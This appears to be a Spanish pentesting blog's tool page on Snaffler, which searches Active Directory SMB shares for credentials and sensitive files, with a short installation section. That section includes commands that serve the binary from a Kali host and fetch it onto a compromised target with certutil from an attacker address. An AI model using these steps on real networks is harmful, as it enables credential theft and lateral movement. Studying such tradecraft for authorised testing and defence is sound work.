Snaffler
Rastrea recursos compartidos del dominio buscando secretos y ficheros sensibles.
Recorre automáticamente todos los recursos compartidos a los que la cuenta actual tiene acceso en el dominio y busca lo que suele contener credenciales: ficheros de configuración, scripts, `.kdbx` de KeePass, claves privadas, `web.config`, `unattend.xml`, `Groups.xml` con cpassword. Clasifica cada hallazgo por criticidad y muestra el fragmento exacto que lo motivó. En un dominio grande, donde revisar los shares a mano es imposible, es la herramienta que convierte "acceso de lectura a un share" en "credenciales del siguiente salto".
Familia SMB, NetBIOS y RPC
Flags -s -o -d -c
Conceptos Credential Hunting, Credentials in source code, GPP cpassword (MS14-025)
Cheatsheet Post-explotación y lateral
Instalación
# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80 # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/Snaffler.exe Snaffler.exe # en el objetivo (o SMB / 'upload' de evil-winrm)
# se ejecuta desde un host del dominio para cazar secretos en shares SMBComandos útiles
Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.